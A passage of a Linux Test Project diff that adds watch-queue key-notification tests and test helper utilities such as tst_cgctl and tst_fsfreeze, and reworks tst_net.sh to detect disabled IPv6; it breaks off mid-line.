&wqueue_filter); + key = wqueue_add_key(fd); + + keyctl(KEYCTL_REVOKE, key); + wqueue_consumer(fd, saw_key_revoked); + + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .test_all = run, +}; diff --git a/testcases/kernel/watchqueue/wqueue04.c b/testcases/kernel/watchqueue/wqueue04.c new file mode 100644 index 00000000..fc880064 --- /dev/null +++ b/testcases/kernel/watchqueue/wqueue04.c @@ -0,0 +1,43 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2021 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Test if keyctl link is correctly recognized by watch queue. + */ + +#define _GNU_SOURCE + +#include "tst_test.h" +#include "lapi/keyctl.h" +#include "common.h" + +static void saw_key_linked(struct watch_notification *n, size_t len, + unsigned int wtype) +{ + if (wqueue_key_event(n, len, wtype, NOTIFY_KEY_LINKED)) + tst_res(TPASS, "keyctl link has been recognized"); + else + tst_res(TFAIL, "keyctl link has not been recognized"); +} + +static void run(void) +{ + int fd; + key_serial_t key; + + fd = wqueue_watch(256, &wqueue_filter); + key = wqueue_add_key(fd); + + keyctl(KEYCTL_LINK, key, KEY_SPEC_SESSION_KEYRING); + wqueue_consumer(fd, saw_key_linked); + + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .test_all = run, +}; diff --git a/testcases/kernel/watchqueue/wqueue05.c b/testcases/kernel/watchqueue/wqueue05.c new file mode 100644 index 00000000..78a4c702 --- /dev/null +++ b/testcases/kernel/watchqueue/wqueue05.c @@ -0,0 +1,43 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2021 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Test if keyctl invalidate is correctly recognized by watch queue. + */ + +#define _GNU_SOURCE + +#include "tst_test.h" +#include "lapi/keyctl.h" +#include "common.h" + +static void saw_key_invalidated(struct watch_notification *n, size_t len, + unsigned int wtype) +{ + if (wqueue_key_event(n, len, wtype, NOTIFY_KEY_INVALIDATED)) + tst_res(TPASS, "keyctl invalidate has been recognized"); + else + tst_res(TFAIL, "keyctl invalidate has not been recognized"); +} + +static void run(void) +{ + int fd; + key_serial_t key; + + fd = wqueue_watch(256, &wqueue_filter); + key = wqueue_add_key(fd); + + keyctl(KEYCTL_INVALIDATE, key); + wqueue_consumer(fd, saw_key_invalidated); + + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .test_all = run, +}; diff --git a/testcases/kernel/watchqueue/wqueue06.c b/testcases/kernel/watchqueue/wqueue06.c new file mode 100644 index 00000000..2cb6a966 --- /dev/null +++ b/testcases/kernel/watchqueue/wqueue06.c @@ -0,0 +1,42 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2021 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Test if keyctl clear is correctly recognized by watch queue. + */ + +#define _GNU_SOURCE + +#include "tst_test.h" +#include "lapi/keyctl.h" +#include "common.h" + +static void saw_key_cleared(struct watch_notification *n, size_t len, + unsigned int wtype) +{ + if (wqueue_key_event(n, len, wtype, NOTIFY_KEY_CLEARED)) + tst_res(TPASS, "keyctl clear has been recognized"); + else + tst_res(TFAIL, "keyctl clear has not been recognized"); +} + +static void run(void) +{ + int fd; + + fd = wqueue_watch(256, &wqueue_filter); + wqueue_add_key(fd); + + keyctl(KEYCTL_CLEAR, KEY_SPEC_SESSION_KEYRING); + wqueue_consumer(fd, saw_key_cleared); + + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .test_all = run, +}; diff --git a/testcases/kernel/watchqueue/wqueue07.c b/testcases/kernel/watchqueue/wqueue07.c new file mode 100644 index 00000000..6c4d1e92 --- /dev/null +++ b/testcases/kernel/watchqueue/wqueue07.c @@ -0,0 +1,43 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2021 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Test if keyctl setperm is correctly recognized by watch queue. + */ + +#define _GNU_SOURCE + +#include "tst_test.h" +#include "lapi/keyctl.h" +#include "common.h" + +static void saw_key_setattr(struct watch_notification *n, size_t len, + unsigned int wtype) +{ + if (wqueue_key_event(n, len, wtype, NOTIFY_KEY_SETATTR)) + tst_res(TPASS, "keyctl setattr has been recognized"); + else + tst_res(TFAIL, "keyctl setattr has not been recognized"); +} + +static void run(void) +{ + int fd; + key_serial_t key; + + fd = wqueue_watch(256, &wqueue_filter); + key = wqueue_add_key(fd); + + keyctl(KEYCTL_SETPERM, key, KEY_POS_ALL | KEY_USR_ALL); + wqueue_consumer(fd, saw_key_setattr); + + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .test_all = run, +}; diff --git a/testcases/kernel/watchqueue/wqueue08.c b/testcases/kernel/watchqueue/wqueue08.c new file mode 100644 index 00000000..4ed9522d --- /dev/null +++ b/testcases/kernel/watchqueue/wqueue08.c @@ -0,0 +1,48 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2021 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Test if key watch removal is correctly recognized by watch queue. + */ + +#define _GNU_SOURCE + +#include "tst_test.h" +#include "lapi/keyctl.h" +#include "common.h" + +static void saw_watch_removal(struct watch_notification *n, + LTP_ATTRIBUTE_UNUSED size_t len, + unsigned int wtype) +{ + if (wtype != WATCH_TYPE_META) + return; + + if (n->subtype == WATCH_META_REMOVAL_NOTIFICATION) + tst_res(TPASS, "Meta removal notification received"); + else + tst_res(TFAIL, "Event not recognized"); +} + +static void run(void) +{ + int fd; + key_serial_t key; + + fd = wqueue_watch(256, &wqueue_filter); + key = wqueue_add_key(fd); + + /* if watch_id = -1 key is removed from the watch queue */ + keyctl(KEYCTL_WATCH_KEY, key, fd, -1); + wqueue_consumer(fd, saw_watch_removal); + + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .test_all = run, +}; diff --git a/testcases/kernel/watchqueue/wqueue09.c b/testcases/kernel/watchqueue/wqueue09.c new file mode 100644 index 00000000..9f077b35 --- /dev/null +++ b/testcases/kernel/watchqueue/wqueue09.c @@ -0,0 +1,69 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2021 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Fill the watch queue and wait for a notification loss. + */ + +#define _GNU_SOURCE + +#include +#include "tst_test.h" +#include "lapi/keyctl.h" +#include "common.h" + +#define WATCH_QUEUE_NOTE_SIZE 128 + +static int data_lost; +static key_serial_t key; +static int fd; + +static void saw_data_loss(struct watch_notification *n, + LTP_ATTRIBUTE_UNUSED size_t len, unsigned int wtype) +{ + if (wtype != WATCH_TYPE_META) + return; + + if (n->subtype == WATCH_META_LOSS_NOTIFICATION) + data_lost = 1; +} + +static void setup(void) +{ + fd = wqueue_watch(1, &wqueue_filter); + key = wqueue_add_key(fd); +} + +static void run(void) +{ + int i, iterations; + + iterations = (getpagesize() / WATCH_QUEUE_NOTE_SIZE) * 2; + for (i = 0; i < iterations; i++) + keyctl(KEYCTL_UPDATE, key, "b", 1); + + data_lost = 0; + while (!data_lost) + wqueue_consumer(fd, saw_data_loss); + + if (data_lost) + tst_res(TPASS, "Meta loss notification received"); + else + tst_res(TFAIL, "Event not recognized"); +} + +static void cleanup(void) +{ + keyctl(KEYCTL_REVOKE, key); + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, +}; diff --git a/testcases/lib/.gitignore b/testcases/lib/.gitignore index c0d4dc85..e8afd06f 100755 --- a/testcases/lib/.gitignore +++ b/testcases/lib/.gitignore @@ -1,18 +1,25 @@ +/tst_cgctl /tst_check_drivers /tst_check_kconfigs /tst_checkpoint /tst_device +/tst_fsfreeze /tst_getconf /tst_get_free_pids /tst_get_median /tst_get_unused_port +/tst_hexdump /tst_kvcmp +/tst_lockdown_enabled /tst_net_iface_prefix /tst_net_ip_prefix /tst_net_vars +/tst_ns_create +/tst_ns_exec +/tst_ns_ifmove /tst_random /tst_rod +/tst_secureboot_enabled /tst_sleep /tst_supported_fs -/tst_hexdump /tst_timeout_kill diff --git a/testcases/lib/Makefile b/testcases/lib/Makefile index f2de0c83..990b4608 100755 --- a/testcases/lib/Makefile +++ b/testcases/lib/Makefile @@ -12,6 +12,7 @@ MAKE_TARGETS := tst_sleep tst_random tst_checkpoint tst_rod tst_kvcmp\ tst_device tst_net_iface_prefix tst_net_ip_prefix tst_net_vars\ tst_getconf tst_supported_fs tst_check_drivers tst_get_unused_port\ tst_get_median tst_hexdump tst_get_free_pids tst_timeout_kill\ - tst_check_kconfigs + tst_check_kconfigs tst_cgctl tst_fsfreeze tst_ns_create tst_ns_exec\ + tst_ns_ifmove tst_lockdown_enabled tst_secureboot_enabled include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/testcases/lib/cmdlib.sh b/testcases/lib/cmdlib.sh index 0c5f5a4b..7fe31757 100755 --- a/testcases/lib/cmdlib.sh +++ b/testcases/lib/cmdlib.sh @@ -103,7 +103,7 @@ exists() { for cmd in $*; do if ! command -v $cmd >/dev/null 2>&1; then - tst_resm TCONF "$1: command $2 not found." + tst_resm TCONF "command $cmd not found." exit 32 fi done diff --git a/testcases/lib/tst_ansi_color.sh b/testcases/lib/tst_ansi_color.sh index 703df1eb..43d8f8cd 100755 --- a/testcases/lib/tst_ansi_color.sh +++ b/testcases/lib/tst_ansi_color.sh @@ -24,18 +24,26 @@ tst_flag2color() tst_color_enabled() { - [ "$LTP_COLORIZE_OUTPUT" = "n" ] || [ "$LTP_COLORIZE_OUTPUT" = "0" ] && return 0 - [ "$LTP_COLORIZE_OUTPUT" = "y" ] || [ "$LTP_COLORIZE_OUTPUT" = "1" ] && return 1 + if [ "$LTP_COLORIZE_OUTPUT" = "n" -o "$LTP_COLORIZE_OUTPUT" = "0" ]; then + return 0 + fi + + if [ "$LTP_COLORIZE_OUTPUT" = "y" -o "$LTP_COLORIZE_OUTPUT" = "1" ]; then + return 1 + fi + [ -t 1 ] || return 0 + return 1 } tst_print_colored() { - tst_color_enabled - local color=$? + local color=0 + + tst_color_enabled || color=$? - [ "$color" = "1" ] && tst_flag2color "$1" + [ "$color" != 1 ] || tst_flag2color "$1" printf "$2" - [ "$color" = "1" ] && printf '\033[0m' + [ "$color" != 1 ] || printf '\033[0m' } diff --git a/testcases/lib/tst_cgctl.c b/testcases/lib/tst_cgctl.c new file mode 100644 index 00000000..2685bef8 --- /dev/null +++ b/testcases/lib/tst_cgctl.c @@ -0,0 +1,87 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2022 Canonical Ltd. + */ + +#include +#include +#include +#include +#include +#include "tst_cgroup.h" + +static void cgctl_usage(void) +{ + fprintf(stderr, "Usage: tst_cgctl require [controller] [test_pid]\n\tcleanup [config (output of tst_cg_print_config)]\n\tprint\n\thelp\n"); +} + +static int cgctl_require(const char *ctrl, int test_pid) +{ + struct tst_cg_opts opts; + + memset(&opts, 0, sizeof(opts)); + opts.test_pid = test_pid; + + tst_cg_require(ctrl, &opts); + tst_cg_print_config(); + + return 0; +} + +static int cgctl_cleanup(const char *const config) +{ + tst_cg_scan(); + tst_cg_load_config(config); + tst_cg_cleanup(); + + return 0; +} + +static int cgctl_print(void) +{ + tst_cg_scan(); + tst_cg_print_config(); + + return 0; +} + +int main(int argc, char *argv[]) +{ + int test_pid; + const char *cmd_name = argv[1]; + + if (argc < 2) + goto error; + + if (!strcmp(cmd_name, "require")) { + if (argc != 4) + goto arg_num_error; + test_pid = atoi(argv[3]); + if (!test_pid) { + fprintf(stderr, "tst_cgctl: Invalid test_pid '%s' given\n", + argv[3]); + goto error; + } + return cgctl_require(argv[2], test_pid); + } else if (!strcmp(cmd_name, "cleanup")) { + if (argc != 3) + goto arg_num_error; + return cgctl_cleanup(argv[2]); + } else if (!strcmp(cmd_name, "print")) { + return cgctl_print(); + } else if (!strcmp(cmd_name, "help")) { + cgctl_usage(); + return 0; + } + + fprintf(stderr, "tst_cgctl: Unknown command '%s' given\n", cmd_name); + goto error; + +arg_num_error: + fprintf(stderr, + "tst_cgctl: Invalid number of arguments given for command '%s'\n", + cmd_name); +error: + cgctl_usage(); + return 1; +} diff --git a/testcases/lib/tst_device.c b/testcases/lib/tst_device.c index 2a3ab122..45f77a38 100755 --- a/testcases/lib/tst_device.c +++ b/testcases/lib/tst_device.c @@ -18,8 +18,10 @@ static struct tst_test test = { static void print_help(void) { - fprintf(stderr, "\nUsage: tst_device acquire [size [filename]]\n"); - fprintf(stderr, " or: tst_device release /path/to/device\n\n"); + fprintf(stderr, "\nUsage:\n"); + fprintf(stderr, "tst_device acquire [size [filename]]\n"); + fprintf(stderr, "tst_device release /path/to/device\n"); + fprintf(stderr, "tst_device clear /path/to/device\n\n"); } static int acquire_device(int argc, char *argv[]) @@ -40,11 +42,10 @@ static int acquire_device(int argc, char *argv[]) } } - if (argc >= 4) { + if (argc >= 4) device = tst_acquire_loop_device(size, argv[3]); - } else { + else device = tst_acquire_device__(size); - } if (!device) return 1; @@ -73,6 +74,17 @@ static int release_device(int argc, char *argv[]) return tst_detach_device(argv[2]); } +static int clear_device(int argc, char *argv[]) +{ + if (argc != 3) + return 1; + + if (tst_clear_device(argv[2])) + return 1; + + return 0; +} + int main(int argc, char *argv[]) { /* @@ -95,6 +107,9 @@ int main(int argc, char *argv[]) } else if (!strcmp(argv[1], "release")) { if (release_device(argc, argv)) goto help; + } else if (!strcmp(argv[1], "clear")) { + if (clear_device(argc, argv)) + goto help; } else { fprintf(stderr, "ERROR: Invalid COMMAND '%s'\n", argv[1]); goto help; diff --git a/testcases/lib/tst_fsfreeze.c b/testcases/lib/tst_fsfreeze.c new file mode 100644 index 00000000..4b0b12cb --- /dev/null +++ b/testcases/lib/tst_fsfreeze.c @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2010 Hajime Taira + * Masatake Yamato + * Copyright (c) 2023 Petr Vorel + * + * Based on fsfreeze from util-linux. + */ + +#include +#include + +#define TST_NO_DEFAULT_MAIN +#include "tst_test.h" +#include "tst_safe_macros.h" + +static void help(void) +{ + printf("Freeze and unfreeze the device.\n"); + printf("Usage: tst_fsfreeze device\n"); +} + +int main(int argc, char *argv[]) +{ + int fd; + + if (argc < 2) { + help(); + return 1; + } + + fd = SAFE_OPEN(argv[1], O_RDONLY); + SAFE_IOCTL(fd, FIFREEZE, 0); + SAFE_IOCTL(fd, FITHAW, 0); + SAFE_CLOSE(fd); + + return 0; +} diff --git a/testcases/lib/tst_get_free_pids.c b/testcases/lib/tst_get_free_pids.c index d7b68c62..370ec3e2 100755 --- a/testcases/lib/tst_get_free_pids.c +++ b/testcases/lib/tst_get_free_pids.c @@ -2,7 +2,7 @@ #define TST_NO_DEFAULT_MAIN #include -#include +#include "tst_test.h" extern struct tst_test *tst_test; diff --git a/testcases/lib/tst_kvcmp.c b/testcases/lib/tst_kvcmp.c index 0f5793ef..afc4b5ce 100755 --- a/testcases/lib/tst_kvcmp.c +++ b/testcases/lib/tst_kvcmp.c @@ -7,7 +7,7 @@ #include #include #include -#include +#include "tst_test.h" enum op { EQ, diff --git a/testcases/lib/tst_lockdown_enabled.c b/testcases/lib/tst_lockdown_enabled.c new file mode 100644 index 00000000..30abe3e5 --- /dev/null +++ b/testcases/lib/tst_lockdown_enabled.c @@ -0,0 +1,12 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2023 Petr Vorel + */ + +#define TST_NO_DEFAULT_MAIN +#include "tst_test.h" + +int main(void) +{ + return tst_lockdown_enabled() <= 0; +} diff --git a/testcases/lib/tst_net.sh b/testcases/lib/tst_net.sh index 4dc0fca9..6168db86 100755 --- a/testcases/lib/tst_net.sh +++ b/testcases/lib/tst_net.sh @@ -1,7 +1,7 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later # Copyright (c) 2014-2017 Oracle and/or its affiliates. All Rights Reserved. -# Copyright (c) 2016-2021 Petr Vorel +# Copyright (c) 2016-2023 Petr Vorel # Author: Alexey Kodanev [ -n "$TST_LIB_NET_LOADED" ] && return 0 @@ -59,6 +59,8 @@ tst_net_remote_tmpdir() tst_net_setup() { + [ "$TST_IPV6" ] && tst_net_require_ipv6 + tst_net_remote_tmpdir [ -n "$TST_SETUP_CALLER" ] && $TST_SETUP_CALLER @@ -71,52 +73,117 @@ tst_net_setup() fi } -[ -n "$TST_USE_LEGACY_API" ] && . test.sh || . tst_test.sh - -if [ "$TST_PARSE_ARGS_CALLER" = "$TST_PARSE_ARGS" ]; then - tst_res TWARN "TST_PARSE_ARGS_CALLER same as TST_PARSE_ARGS, unset it ($TST_PARSE_ARGS)" - unset TST_PARSE_ARGS_CALLER -fi -if [ "$TST_SETUP_CALLER" = "$TST_SETUP" ]; then - tst_res TWARN "TST_SETUP_CALLER same as TST_SETUP, unset it ($TST_SETUP)" - unset TST_SETUP_CALLER -fi -if [ "$TST_USAGE_CALLER" = "$TST_USAGE" ]; then - tst_res TWARN "TST_USAGE_CALLER same as TST_USAGE, unset it ($TST_USAGE)" - unset TST_USAGE_CALLER -fi - -if [ -n "$TST_USE_LEGACY_API" ]; then - tst_net_read_opts "$@" -fi - # old vs. new API compatibility layer tst_res_() { [ -z "$TST_USE_LEGACY_API" ] && tst_res $@ || tst_resm $@ } + tst_brk_() { [ -z "$TST_USE_LEGACY_API" ] && tst_brk $@ || tst_brkm $@ } +# Detect IPv6 disabled via 1) CONFIG_IPV6=n or 2) ipv6.disable=1 kernel cmdline +# parameter or 3) sysctl net.ipv6.conf.all.disable_ipv6=1 (disables IPv6 on all +# interfaces (including both already created and later created). +# $TST_NET_IPV6_ENABLED: 1 on IPv6 enabled, 0 on IPv6 disabled. +tst_net_detect_ipv6() +{ + local type="${1:-lhost}" + local cmd='[ -f /proc/net/if_inet6 ]' + local disabled iface ret + + if [ "$type" = "lhost" ]; then + $cmd + else + tst_rhost_run -c "$cmd" + fi + + if [ $? -ne 0 ]; then + TST_NET_IPV6_ENABLED=0 + tst_res_ TINFO "IPv6 disabled on $type via kernel command line or not compiled in" + return + fi + + cmd='cat /proc/sys/net/ipv6/conf/all/disable_ipv6' + if [ "$type" = "lhost" ]; then + disabled=$($cmd) + else + disabled=$(tst_rhost_run -c "$cmd") + fi + if [ $disabled = 1 ]; then + tst_res_ TINFO "IPv6 disabled on $type net.ipv6.conf.all.disable_ipv6=1" + TST_NET_IPV6_ENABLED=0 + return + fi + + TST_NET_IPV6_ENABLED=1 +} + +# Detect IPv6 disabled on interface via sysctl +# net.ipv6.conf.$iface.disable_ipv6=1. +# $TST_NET_IPV6_ENABLED: 1 on IPv6 enabled, 0 on IPv6 disabled. +# return: 0 on IPv6 enabled, 1 on IPv6 disabled. +tst_net_detect_ipv6_iface() +{ + [ "$TST_NET_IPV6_ENABLED" = 1 ] || return 1 + + local iface="$1" + local type="${2:-lhost}" + local check="cat /proc/sys/net/ipv6/conf/$iface/disable_ipv6" + local disabled + + if [ "$type" = "lhost" ]; then + disabled=$($check) + else + disabled=$(tst_rhost_run -c "$check") + fi + if [ $disabled = 1 ]; then + tst_res_ TINFO "IPv6 disabled on $type on $iface" + TST_NET_IPV6_ENABLED=0 + return 1 + fi + + return 0 +} + +# Detect IPv6 disabled on used interfaces. +tst_net_check_ifaces_ipv6() +{ + local iface + + for iface in $(tst_get_ifaces); do + tst_net_detect_ipv6_iface $iface || return + done + + for iface in $(tst_get_ifaces rhost); do + tst_net_detect_ipv6_iface $iface rhost || return + done +} + +tst_net_require_ipv6() +{ + [ "$TST_NET_IPV6_ENABLED" = 1 ] || tst_brk_ TCONF "IPv6 disabled" +} + init_ltp_netspace() { local pid if [ ! -f /var/run/netns/ltp_ns -a -z "$LTP_NETNS" ]; then - tst_require_cmds ip + tst_require_cmds ip tst_ns_create tst_ns_exec tst_ns_ifmove tst_require_root tst_require_drivers veth ROD ip link add name ltp_ns_veth1 type veth peer name ltp_ns_veth2 - pid="$(ROD ns_create net,mnt)" + pid="$(ROD tst_ns_create net,mnt)" mkdir -p /var/run/netns ROD ln -s /proc/$pid/ns/net /var/run/netns/ltp_ns - ROD ns_exec $pid net,mnt mount --make-rprivate /sys - ROD ns_exec $pid net,mnt mount -t sysfs none /sys - ROD ns_ifmove ltp_ns_veth1 $pid - ROD ns_exec $pid net,mnt ip link set lo up + ROD tst_ns_exec $pid net,mnt mount --make-rprivate /sys + ROD tst_ns_exec $pid net,mnt mount -t sysfs none /sys + ROD tst_ns_ifmove ltp_ns_veth1 $pid + ROD tst_ns_exec $pid net,mnt ip link set lo up elif [ -n "$LTP_NETNS" ]; then tst_res_ TINFO "using not default LTP netns: '$LTP_NETNS'" fi @@ -124,10 +191,8 @@ init_ltp_netspace() LHOST_IFACES="${LHOST_IFACES:-ltp_ns_veth2}" RHOST_IFACES="${RHOST_IFACES:-ltp_ns_veth1}" - export TST_INIT_NETNS="no" - pid="$(echo $(readlink /var/run/netns/ltp_ns) | cut -f3 -d'/')" - export LTP_NETNS="${LTP_NETNS:-ns_exec $pid net,mnt}" + export LTP_NETNS="${LTP_NETNS:-tst_ns_exec $pid net,mnt}" tst_restore_ipaddr tst_restore_ipaddr rhost @@ -434,7 +499,7 @@ tst_ipaddr_un() ;; m) ! tst_is_int "$OPTARG" || [ "$OPTARG" -lt 0 ]|| [ "$OPTARG" -gt $max_net_id ] && \ - tst_brk TBROK "tst_ipaddr_un: -m must be integer <0,$max_net_id> ($OPTARG)" + tst_brk_ TBROK "tst_ipaddr_un: -m must be integer <0,$max_net_id> ($OPTARG)" [ "$OPTARG" -gt $max_net_id ] && \ tst_brk_ TBROK "tst_ipaddr_un: -m cannot be higher than $max_net_id ($OPTARG)" max_host_id="$OPTARG" @@ -455,16 +520,16 @@ tst_ipaddr_un() ! tst_is_int "$min_host_id" || ! tst_is_int "$max_host_id" || \ [ $min_host_id -lt 0 -o $min_host_id -gt $default_max ] || \ [ $max_host_id -lt 0 -o $max_host_id -gt $default_max ] && \ - tst_brk TBROK "tst_ipaddr_un: HOST_ID must be int in range <0,$default_max> ($min_host_id,$max_host_id)" + tst_brk_ TBROK "tst_ipaddr_un: HOST_ID must be int in range <0,$default_max> ($min_host_id,$max_host_id)" ! tst_is_int "$min_net_id" || ! tst_is_int "$max_net_id" || \ [ $min_net_id -lt 0 -o $min_net_id -gt $default_max ] || \ [ $max_net_id -lt 0 -o $max_net_id -gt $default_max ] && \ - tst_brk TBROK "tst_ipaddr_un: NET_ID must be int in range <0,$default_max> ($min_net_id,$max_net_id)" + tst_brk_ TBROK "tst_ipaddr_un: NET_ID must be int in range <0,$default_max> ($min_net_id,$max_net_id)" [ $min_host_id -gt $max_host_id ] && \ - tst_brk TBROK "tst_ipaddr_un: max HOST_ID ($max_host_id) must be >= min HOST_ID ($min_host_id)" + tst_brk_ TBROK "tst_ipaddr_un: max HOST_ID ($max_host_id) must be >= min HOST_ID ($min_host_id)" [ $min_net_id -gt $max_net_id ] && \ - tst_brk TBROK "tst_ipaddr_un: max NET_ID ($max_net_id) must be >= min NET_ID ($min_net_id)" + tst_brk_ TBROK "tst_ipaddr_un: max NET_ID ($max_net_id) must be >= min NET_ID ($min_net_id)" # counter host_range=$((max_host_id - min_host_id + 1)) @@ -507,7 +572,9 @@ tst_init_iface() local type="${1:-lhost}" local link_num="${2:-0}" local iface="$(tst_iface $type $link_num)" + tst_res_ TINFO "initialize '$type' '$iface' interface" + tst_net_detect_ipv6_iface $iface $type if [ "$type" = "lhost" ]; then if ip xfrm state 1>/dev/null 2>&1; then @@ -517,7 +584,9 @@ tst_init_iface() ip link set $iface down || return $? ip route flush dev $iface || return $? ip addr flush dev $iface || return $? - sysctl -qw net.ipv6.conf.$iface.accept_dad=0 || return $? + if [ "$TST_NET_IPV6_ENABLED" = 1 ]; then + sysctl -qw net.ipv6.conf.$iface.accept_dad=0 || return $? + fi ip link set $iface up return $? fi @@ -529,7 +598,9 @@ tst_init_iface() tst_rhost_run -c "ip link set $iface down" || return $? tst_rhost_run -c "ip route flush dev $iface" || return $? tst_rhost_run -c "ip addr flush dev $iface" || return $? - tst_rhost_run -c "sysctl -qw net.ipv6.conf.$iface.accept_dad=0" || return $? + if [ "$TST_NET_IPV6_ENABLED" = 1 ]; then + tst_rhost_run -c "sysctl -qw net.ipv6.conf.$iface.accept_dad=0" || return $? + fi tst_rhost_run -c "ip link set $iface up" } @@ -554,7 +625,7 @@ tst_add_ipaddr() d) action="del" ;; q) quiet=1 ;; s) lsafe="ROD"; rsafe="-s" ;; - *) tst_brk TBROK "tst_add_ipaddr: unknown option: $OPTARG" ;; + *) tst_brk_ TBROK "tst_add_ipaddr: unknown option: $OPTARG" ;; esac done shift $((OPTIND - 1)) @@ -563,6 +634,8 @@ tst_add_ipaddr() local link_num="${2:-0}" local iface=$(tst_iface $type $link_num) + tst_net_detect_ipv6_iface $iface $type + if [ "$TST_IPV6" ]; then dad="nodad" [ "$type" = "lhost" ] && mask=$IPV6_LPREFIX || mask=$IPV6_RPREFIX @@ -606,7 +679,9 @@ tst_restore_ipaddr() local ret=0 local backup_tst_ipv6=$TST_IPV6 TST_IPV6= tst_add_ipaddr $type $link_num || ret=$? - TST_IPV6=6 tst_add_ipaddr $type $link_num || ret=$? + if [ "$TST_NET_IPV6_ENABLED" = 1 ]; then + TST_IPV6=6 tst_add_ipaddr $type $link_num || ret=$? + fi TST_IPV6=$backup_tst_ipv6 return $ret @@ -715,7 +790,7 @@ tst_netload() fi s_opts="${cs_opts}${s_opts}-R $s_replies -B $TST_TMPDIR" - c_opts="${cs_opts}${c_opts}-a $c_num -r $((c_requests / run_cnt)) -d $rfile" + c_opts="${cs_opts}${c_opts}-a $c_num -r $((c_requests / run_cnt)) -d $PWD/$rfile" tst_res_ TINFO "run server 'netstress $s_opts'" tst_res_ TINFO "run client 'netstress -l $c_opts' $run_cnt times" @@ -937,66 +1012,107 @@ tst_default_max_pkt() echo "$((mtu + mtu / 10))" } -[ -n "$TST_NET_SKIP_VARIABLE_INIT" ] && return 0 - -# Management Link -[ -z "$RHOST" ] && TST_USE_NETNS="yes" -export RHOST="$RHOST" -export PASSWD="${PASSWD:-}" -# Don't use it in new tests, use tst_rhost_run() from tst_net.sh instead. -export LTP_RSH="${LTP_RSH:-ssh -nq}" - -# Test Links -# IPV{4,6}_{L,R}HOST can be set with or without prefix (e.g. IP or IP/prefix), -# but if you use IP/prefix form, /prefix will be removed by tst_net_vars. -IPV4_LHOST="${IPV4_LHOST:-10.0.0.2/24}" -IPV4_RHOST="${IPV4_RHOST:-10.0.0.1/24}" -IPV6_LHOST="${IPV6_LHOST:-fd00:1:1:1::2/64}" -IPV6_RHOST="${IPV6_RHOST:-fd00:1:1:1::1/64}" - -# tst_net_ip_prefix +# Setup LTP network. +# +# Used tools: +# * tst_net_ip_prefix # Strip prefix from IP address and save both If no prefix found sets # default prefix. -# -# tst_net_iface_prefix reads prefix and interface from rtnetlink. +# * tst_net_iface_prefix reads prefix and interface from rtnetlink. # If nothing found sets default prefix value. -# -# tst_net_vars exports environment variables related to test links and +# * tst_net_vars exports environment variables related to test links and # networks that aren't reachable through the test links. # # For full list of exported environment variables see: # tst_net_ip_prefix -h # tst_net_iface_prefix -h # tst_net_vars -h -if [ -z "$_tst_net_parse_variables" ]; then +tst_net_setup_network() +{ + tst_require_cmds tst_net_iface_prefix tst_net_ip_prefix tst_net_vars + eval $(tst_net_ip_prefix $IPV4_LHOST || echo "exit $?") eval $(tst_net_ip_prefix -r $IPV4_RHOST || echo "exit $?") - eval $(tst_net_ip_prefix $IPV6_LHOST || echo "exit $?") - eval $(tst_net_ip_prefix -r $IPV6_RHOST || echo "exit $?") -fi -[ -n "$TST_USE_NETNS" -a "$TST_INIT_NETNS" != "no" ] && init_ltp_netspace + [ "$TST_NET_IPV6_ENABLED" = 1 ] && tst_net_detect_ipv6 rhost + + if [ "$TST_NET_IPV6_ENABLED" = 1 ]; then + eval $(tst_net_ip_prefix $IPV6_LHOST || echo "exit $?") + eval $(tst_net_ip_prefix -r $IPV6_RHOST || echo "exit $?") + fi + + tst_net_use_netns && init_ltp_netspace -if [ -z "$_tst_net_parse_variables" ]; then eval $(tst_net_iface_prefix $IPV4_LHOST || echo "exit $?") eval $(tst_rhost_run -c 'tst_net_iface_prefix -r '$IPV4_RHOST \ || echo "exit $?") - eval $(tst_net_iface_prefix $IPV6_LHOST || echo "exit $?") - eval $(tst_rhost_run -c 'tst_net_iface_prefix -r '$IPV6_RHOST \ - || echo "exit $?") - eval $(tst_net_vars $IPV4_LHOST/$IPV4_LPREFIX \ $IPV4_RHOST/$IPV4_RPREFIX || echo "exit $?") - eval $(tst_net_vars $IPV6_LHOST/$IPV6_LPREFIX \ - $IPV6_RHOST/$IPV6_RPREFIX || echo "exit $?") + + if [ "$TST_NET_IPV6_ENABLED" = 1 ]; then + tst_net_check_ifaces_ipv6 + eval $(tst_net_iface_prefix $IPV6_LHOST || echo "exit $?") + eval $(tst_rhost_run -c 'tst_net_iface_prefix -r '$IPV6_RHOST \ + || echo "exit $?") + eval $(tst_net_vars $IPV6_LHOST/$IPV6_LPREFIX \ + $IPV6_RHOST/$IPV6_RPREFIX || echo "exit $?") + fi tst_res_ TINFO "Network config (local -- remote):" tst_res_ TINFO "$LHOST_IFACES -- $RHOST_IFACES" tst_res_ TINFO "$IPV4_LHOST/$IPV4_LPREFIX -- $IPV4_RHOST/$IPV4_RPREFIX" tst_res_ TINFO "$IPV6_LHOST/$IPV6_LPREFIX -- $IPV6_RHOST/$IPV6_RPREFIX" - export _tst_net_parse_variables="yes" + + if [ 